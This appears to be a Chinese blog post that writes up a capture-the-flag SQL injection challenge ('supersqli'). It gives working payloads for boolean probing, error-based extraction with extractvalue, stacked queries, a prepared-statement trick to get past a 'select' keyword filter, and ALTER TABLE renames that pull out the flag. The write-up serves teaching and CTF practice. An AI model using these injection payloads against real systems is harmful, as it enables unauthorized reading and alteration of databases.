手工堆叠注入+ 绕过select过滤

作者: admin 分类: web类 发布时间: 2020-04-24 15:21
' and 1=1 正常且为True     ' and 1=2 正常但为False

存在注入(单引号闭合)

获取列数:

' order by 1
' order by 2
' order by 3   #报错

故列数为2

获取数据库名:

' union se/**/lect null, user()

结果显示:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

过滤了select,尝试大写也无法绕过。

尝试报错注入 ( extractvalue )

用户名:

‘ and (extractvalue(1,concat(0x7e,user(),0x7e)));

返回:error 1105 : XPATH syntax error: '~root@localhost~'

数据库:

‘ and (extractvalue(1,concat(0x7e,databese(),0x7e)));

返回:error 1105 : XPATH syntax error: '~supersqli~'

版本:

‘ and (extractvalue(1,concat(0x7e,version(),0x7e)));

返回:error 1105 : XPATH syntax error: '~10.3.15-MariaDB~'

尝试叠堆注入

‘ and 1=1;show databases;

‘ and 1=1;show tables;

返回:

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

查看字段

';and 1=1;desc `1919810931114514`
';and 1=1;desc`words`

tip: ( ` 不用于 ‘ 和 ‘)

或者

1';show columns from `1919810931114514`
1';show columns from `words`

返回

flag存在supersqli数据库中的1919810931114514表的flag字段

读取数据

select * from `1919810931114514`;

但select被过滤 使用预编译绕过;

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;
拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;

结果返回:

strstr($inject, "set") && strstr($inject, "prepare")

检测到set 和prepare ,但这两个函数不区分大小写,用大小写绕过

-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;

拆分开来如下:
-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;

结果返回flag

方法2 改表列名 ( 默认查询的表为words表,而flag在另一个表中。 )

修改表名和列名的语法如下:

修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

payload:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);

拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);

最后用’ or ‘1’=’1 显示“当前表”的所有内容就能获取flag

发表评论

电子邮件地址不会被公开。 必填项已用*标注